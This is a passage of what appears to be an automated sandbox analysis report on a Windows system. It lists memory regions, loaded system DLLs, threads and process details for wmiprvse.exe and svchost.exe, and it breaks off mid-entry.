"\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1344 start_va = 0x7ffff0340000 end_va = 0x7ffff04c5fff monitored = 0 entry_point = 0x7ffff038ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1345 start_va = 0x7ffff0540000 end_va = 0x7ffff05aafff monitored = 0 entry_point = 0x7ffff05590c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1346 start_va = 0x7ffff0700000 end_va = 0x7ffff079cfff monitored = 0 entry_point = 0x7ffff07078a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1347 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Thread: id = 97 os_tid = 0x1158 Thread: id = 98 os_tid = 0x1154 Thread: id = 99 os_tid = 0x114c Thread: id = 100 os_tid = 0x1148 [0149.555] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0160.926] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 Thread: id = 101 os_tid = 0x1144 [0156.975] DllCanUnloadNow () returned 0x1 Thread: id = 102 os_tid = 0x1138 Thread: id = 103 os_tid = 0x1134 Thread: id = 104 os_tid = 0x112c Thread: id = 105 os_tid = 0x1124 Thread: id = 106 os_tid = 0x1100 Process: id = "8" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x183e5000" os_pid = "0x2c8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e990" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x274" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xe], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cca2" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2572 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2573 start_va = 0xfe55420000 end_va = 0xfe5549ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fe55420000" filename = "" Region: id = 2574 start_va = 0xfe55520000 end_va = 0xfe5559ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fe55520000" filename = "" Region: id = 2575 start_va = 0xfe55600000 end_va = 0xfe557fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fe55600000" filename = "" Region: id = 2576 start_va = 0xfe55800000 end_va = 0xfe5587ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fe55800000" filename = "" Region: id = 2577 start_va = 0xfe55880000 end_va = 0xfe558fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fe55880000" filename = "" Region: id = 2578 start_va = 0xfe55900000 end_va = 0xfe5597ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fe55900000" filename = "" Region: id = 2579 start_va = 0xfe55980000 end_va = 0xfe559fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fe55980000" filename = "" Region: id = 2580 start_va = 0xfe55a00000 end_va = 0xfe55a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fe55a00000" filename = "" Region: id = 2581 start_va = 0xfe55a80000 end_va = 0xfe55afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fe55a80000" filename = "" Region: id = 2582 start_va = 0x27b3d1c0000 end_va = 0x27b3d1cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027b3d1c0000" filename = "" Region: id = 2583 start_va = 0x27b3d1d0000 end_va = 0x27b3d1d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027b3d1d0000" filename = "" Region: id = 2584 start_va = 0x27b3d1e0000 end_va = 0x27b3d1f4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027b3d1e0000" filename = "" Region: id = 2585 start_va = 0x27b3d200000 end_va = 0x27b3d203fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027b3d200000" filename = "" Region: id = 2586 start_va = 0x27b3d210000 end_va = 0x27b3d210fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027b3d210000" filename = "" Region: id = 2587 start_va = 0x27b3d220000 end_va = 0x27b3d221fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027b3d220000" filename = "" Region: id = 2588 start_va = 0x27b3d230000 end_va = 0x27b3d2edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2589 start_va = 0x27b3d2f0000 end_va = 0x27b3d3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027b3d2f0000" filename = "" Region: id = 2590 start_va = 0x27b3d3f0000 end_va = 0x27b3d3f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027b3d3f0000" filename = "" Region: id = 2591 start_va = 0x27b3d400000 end_va = 0x27b3d400fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027b3d400000" filename = "" Region: id = 2592 start_va = 0x27b3d410000 end_va = 0x27b3d410fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027b3d410000" filename = "" Region: id = 2593 start_va = 0x27b3d420000 end_va = 0x27b3d424fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 2594 start_va = 0x27b3d430000 end_va = 0x27b3d430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027b3d430000" filename = "" Region: id = 2595 start_va = 0x27b3d440000 end_va = 0x27b3d440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027b3d440000" filename = "" Region: id = 2596 start_va = 0x27b3d450000 end_va = 0x27b3d450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027b3d450000" filename = "" Region: id = 2597 start_va = 0x27b3d460000 end_va = 0x27b3d462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mofd.dll.mui" filename = "\\Windows\\System32\\wbem\\en-US\\mofd.dll.mui" (normalized: "c:\\windows\\system32\\wbem\\en-us\\mofd.dll.mui") Region: id = 2598 start_va = 0x27b3d480000 end_va = 0x27b3d48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027b3d480000" filename = "" Region: id = 2599 start_va = 0x27b3d490000 end_va = 0x27b3d7c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2600 start_va = 0x27b3d7d0000 end_va = 0x27b3d957fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027b3d7d0000" filename = "" Region: id = 2601 start_va = 0x27b3d960000 end_va = 0x27b3dae0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027b3d960000" filename = "" Region: id = 2602 start_va = 0x27b3daf0000 end_va = 0x27b3dbaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027b3daf0000" filename = "" Region: id = 2603 start_va = 0x27b3dbb0000 end_va = 0x27b3dcaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027b3dbb0000" filename = "" Region: id = 2604 start_va = 0x27b3dcb0000 end_va = 0x27b3dcf8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32.dll.mui") Region: id = 2605 start_va = 0x27b3df10000 end_va = 0x27b3e00ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027b3df10000" filename = "" Region: id = 2606 start_va = 0x27b3e010000 end_va = 0x27b3e20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027b3e010000" filename = "" Region: id = 2607 start_va = 0x27b3e210000 end_va = 0x27b3e60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027b3e210000" filename = "" Region: id = 2608 start_va = 0x27b3e820000 end_va = 0x27b3f01ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027b3e820000" filename = "" Region: id = 2609 start_va = 0x7df5ffc10000 end_va = 0x7ff5ffc0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffc10000" filename = "" Region: id = 2610 start_va = 0x7ff70d610000 end_va = 0x7ff70d70ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff70d610000" filename = "" Region: id = 2611 start_va = 0x7ff70d710000 end_va = 0x7ff70d732fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff70d710000" filename = "" Region: id = 2612 start_va = 0x7ff70db70000 end_va = 0x7ff70dbeffff monitored = 0 entry_point = 0x7ff70db85f50 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 2613 start_va = 0x7fffd49b0000 end_va = 0x7fffd49fcfff monitored = 0 entry_point = 0x7fffd49bb470 region_type = mapped_file name = "pdh.dll" filename = "\\Windows\\System32\\pdh.dll" (normalized: "c:\\windows\\system32\\pdh.dll") Region: id = 2614 start_va = 0x7fffd4a00000 end_va = 0x7fffd4a24fff monitored = 1 entry_point = 0x7fffd4a15dc0 region_type = mapped_file name = "wmiperfclass.dll" filename = "\\Windows\\System32\\wbem\\WmiPerfClass.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiperfclass.dll") Region: id = 2615 start_va = 0x7fffd7da0000 end_va = 0x7fffd7de0fff monitored = 0 entry_point = 0x7fffd7dc8ae0 region_type = mapped_file name = "mofd.dll" filename = "\\Windows\\System32\\wbem\\mofd.dll" (normalized: "c:\\windows\\system32\\wbem\\mofd.dll") Region: id = 2616 start_va = 0x7fffd7e10000 end_va = 0x7fffd7e4cfff monitored = 1 entry_point = 0x7fffd7e1b760 region_type = mapped_file name = "wmiprov.dll" filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll") Region: id = 2617 start_va = 0x7fffdbca0000 end_va = 0x7fffdbcb5fff monitored = 0 entry_point = 0x7fffdbca55e0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 2618 start_va = 0x7fffdbe20000 end_va = 0x7fffdbe44fff monitored = 0 entry_point = 0x7fffdbe29900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 2619 start_va = 0x7fffdbe90000 end_va = 0x7fffdbf85fff monitored = 0 entry_point = 0x7fffdbec9590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2620 start_va = 0x7fffdc1c0000 end_va = 0x7fffdc1d0fff monitored = 0 entry_point = 0x7fffdc1c2fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2621 start_va = 0x7fffdf030000 end_va = 0x7fffdf0aefff monitored = 1 entry_point = 0x7fffdf047110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2622 start_va = 0x7fffe5c90000 end_va = 0x7fffe5ca3fff monitored = 0 entry_point = 0x7fffe5c91800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2623 start_va = 0x7fffe8a70000 end_va = 0x7fffe8ad3fff monitored = 0 entry_point = 0x7fffe8a85ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2624 start_va = 0x7fffe8ca0000 end_va = 0x7fffe8cb0fff monitored = 0 entry_point = 0x7fffe8ca3320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 2625 start_va = 0x7fffec2b0000 end_va = 0x7fffec2e0fff monitored = 0 entry_point = 0x7fffec2b7d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2626 start_va = 0x7fffecc50000 end_va = 0x7fffecc78fff monitored = 0 entry_point = 0x7fffecc64530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2627 start_va = 0x7fffece40000 end_va = 0x7fffece4efff monitored = 0 entry_point = 0x7fffece43210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2628 start_va = 0x7fffece50000 end_va = 0x7fffed037fff monitored = 0 entry_point = 0x7fffece7ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2629 start_va = 0x7fffed740000 end_va = 0x7fffed7a9fff monitored = 0 entry_point = 0x7fffed776d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2630 start_va = 0x7fffedba0000 end_va = 0x7fffedbfafff monitored = 0 entry_point = 0x7fffedbb38b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2631 start_va = 0x7fffedd80000 end_va = 0x7fffede26fff monitored = 0 entry_point = 0x7fffedd958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2632 start_va = 0x7fffede30000 end_va = 0x7fffeded6fff monitored = 0 entry_point = 0x7fffede3b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2633 start_va = 0x7fffef9f0000 end_va = 0x7fffefc6cfff monitored = 0 entry_point = 0x7fffefac4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2634 start_va = 0x7fffefd90000 end_va = 0x7fffefeabfff monitored = 0 entry_point = 0x7fffefdd02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2635 start_va = 0x7fffefeb0000 end_va = 0x7fffeff5cfff monitored = 0 entry_point = 0x7fffefec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2636 start_va = 0x7fffeff60000 end_va = 0x7ffff00b5fff monitored = 0 entry_point = 0x7fffeff6a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2637 start_va = 0x7ffff00c0000 end_va = 0x7ffff0180fff monitored = 0 entry_point = 0x7ffff00e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2638 start_va = 0x7ffff0340000 end_va = 0x7ffff04c5fff monitored = 0 entry_point = 0x7ffff038ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2639 start_va = 0x7ffff0540000 end_va = 0x7ffff05aafff monitored = 0 entry_point = 0x7ffff05590c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2640 start_va = 0x7ffff0700000 end_va = 0x7ffff079cfff monitored = 0 entry_point = 0x7ffff07078a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2641 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Thread: id = 107 os_tid = 0x4fc Thread: id = 108 os_tid = 0x264 Thread: id = 109 os_tid = 0x404 Thread: id = 110 os_tid = 0x700 Thread: id = 111 os_tid = 0xa24 Thread: id = 112 os_tid = 0x718 Thread: id = 113 os_tid = 0x71c Thread: id = 114 os_tid = 0x3a0 Process: id = "9" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x75dc0000" os_pid = "0x388" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x214" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xa], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\icssvc" [0xa], "NT SERVICE\\lmhosts" [0xe], "NT SERVICE\\NgcCtnrSvc" [0xa], "NT SERVICE\\vmictimesync" [0xa], "NT SERVICE\\Wcmsvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000c65b" [0xc000000f], "LOCAL" [0x7] Region: id = 1358 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1359 start_va = 0x93e6a00000 end_va = 0x93e6bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e6a00000" filename = "" Region: id = 1360 start_va = 0x93e6c00000 end_va = 0x93e6c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e6c00000" filename = "" Region: id = 1361 start_va = 0x93e7000000 end_va = 0x93e70fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e7000000" filename = "" Region: id = 1362 start_va = 0x93e7100000 end_va = 0x93e717ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e7100000" filename = "" Region: id = 1363 start_va = 0x93e7200000 end_va = 0x93e727ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e7200000" filename = "" Region: id = 1364 start_va = 0x93e7280000 end_va = 0x93e72fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e7280000" filename = "" Region: id = 1365 start_va = 0x93e7300000 end_va = 0x93e737ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e7300000" filename = "" Region: id = 1366 start_va = 0x93e7380000 end_va = 0x93e73fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e7380000" filename = "" Region: id = 1367 start_va = 0x93e7400000 end_va = 0x93e74fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e7400000" filename = "" Region: id = 1368 start_va = 0x93e7500000 end_va = 0x93e75fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e7500000" filename = "" Region: id = 1369 start_va = 0x93e7c00000 end_va = 0x93e7cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e7c00000" filename = "" Region: id = 1370 start_va = 0x93e7e00000 end_va = 0x93e7e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e7e00000" filename = "" Region: id = 1371 start_va = 0x93e7e80000 end_va = 0x93e7f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e7e80000" filename = "" Region: id = 1372 start_va = 0x93e7f80000 end_va = 0x93e807ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e7f80000" filename = "" Region: id = 1373 start_va = 0x93e8080000 end_va = 0x93e80fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e8080000" filename = "" Region: id = 1374 start_va = 0x93e8400000 end_va = 0x93e84fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e8400000" filename = "" Region: id = 1375 start_va = 0x93e8500000 end_va = 0x93e857ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e8500000" filename = "" Region: id = 1376 start_va = 0x93e8580000 end_va = 0x93e85fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e8580000" filename = "" Region: id = 1377 start_va = 0x93e8d00000 end_va = 0x93e8dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e8d00000" filename = "" Region: id = 1378 start_va = 0x93e8e00000 end_va = 0x93e8efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e8e00000" filename = "" Region: id = 1379 start_va = 0x93e9480000 end_va = 0x93e957ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e9480000" filename = "" Region: id = 1380 start_va = 0x93e9580000 end_va = 0x93e967ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e9580000" filename = "" Region: id = 1381 start_va = 0x93e9680000 end_va = 0x93e977ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e9680000" filename = "" Region: id = 1382 start_va = 0x93e9880000 end_va = 0x93e997ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e9880000" filename = "" Region: id = 1383 start_va = 0x93e9980000 end_va = 0x93e9a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000093e9980000" filename = "" Region: id = 1384 start_va = 0x1e6d0680000 end_va = 0x1e6d068ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e6d0680000" filename = "" Region: id = 1385 start_va = 0x1e6d0690000 end_va = 0x1e6d0690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 1386 start_va = 0x1e6d06a0000 end_va = 0x1e6d06b4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e6d06a0000" filename = "" Region: id = 1387 start_va = 0x1e6d06c0000 end_va = 0x1e6d06c3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e6d06c0000" filename = "" Region: id = 1388 start_va = 0x1e6d06d0000 end_va = 0x1e6d06d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e6d06d0000" filename = "" Region: id = 1389 start_va = 0x1e6d06e0000 end_va = 0x1e6d06e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d06e0000" filename = "" Region: id = 1390 start_va = 0x1e6d06f0000 end_va = 0x1e6d07adfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1391 start_va = 0x1e6d07b0000 end_va = 0x1e6d07b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d07b0000" filename = "" Region: id = 1392 start_va = 0x1e6d07c0000 end_va = 0x1e6d07c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d07c0000" filename = "" Region: id = 1393 start_va = 0x1e6d07d0000 end_va = 0x1e6d07d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d07d0000" filename = "" Region: id = 1394 start_va = 0x1e6d07e0000 end_va = 0x1e6d07fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d07e0000" filename = "" Region: id = 1395 start_va = 0x1e6d0800000 end_va = 0x1e6d08fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d0800000" filename = "" Region: id = 1396 start_va = 0x1e6d0900000 end_va = 0x1e6d0963fff monitored = 0 entry_point = 0x1e6d0915ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1397 start_va = 0x1e6d0970000 end_va = 0x1e6d098ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d0970000" filename = "" Region: id = 1398 start_va = 0x1e6d0990000 end_va = 0x1e6d0990fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e6d0990000" filename = "" Region: id = 1399 start_va = 0x1e6d09a0000 end_va = 0x1e6d09a6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d09a0000" filename = "" Region: id = 1400 start_va = 0x1e6d09b0000 end_va = 0x1e6d09cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d09b0000" filename = "" Region: id = 1401 start_va = 0x1e6d09d0000 end_va = 0x1e6d09d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e6d09d0000" filename = "" Region: id = 1402 start_va = 0x1e6d09e0000 end_va = 0x1e6d09e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e6d09e0000" filename = "" Region: id = 1403 start_va = 0x1e6d09f0000 end_va = 0x1e6d09f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d09f0000" filename = "" Region: id = 1404 start_va = 0x1e6d0a00000 end_va = 0x1e6d0afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d0a00000" filename = "" Region: id = 1405 start_va = 0x1e6d0b00000 end_va = 0x1e6d0c87fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e6d0b00000" filename = "" Region: id = 1406 start_va = 0x1e6d0c90000 end_va = 0x1e6d0e10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e6d0c90000" filename = "" Region: id = 1407 start_va = 0x1e6d0e20000 end_va = 0x1e6d0edffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e6d0e20000" filename = "" Region: id = 1408 start_va = 0x1e6d0ee0000 end_va = 0x1e6d0ee0fff monitored = 1 entry_point = 0x0 region_type = private name = 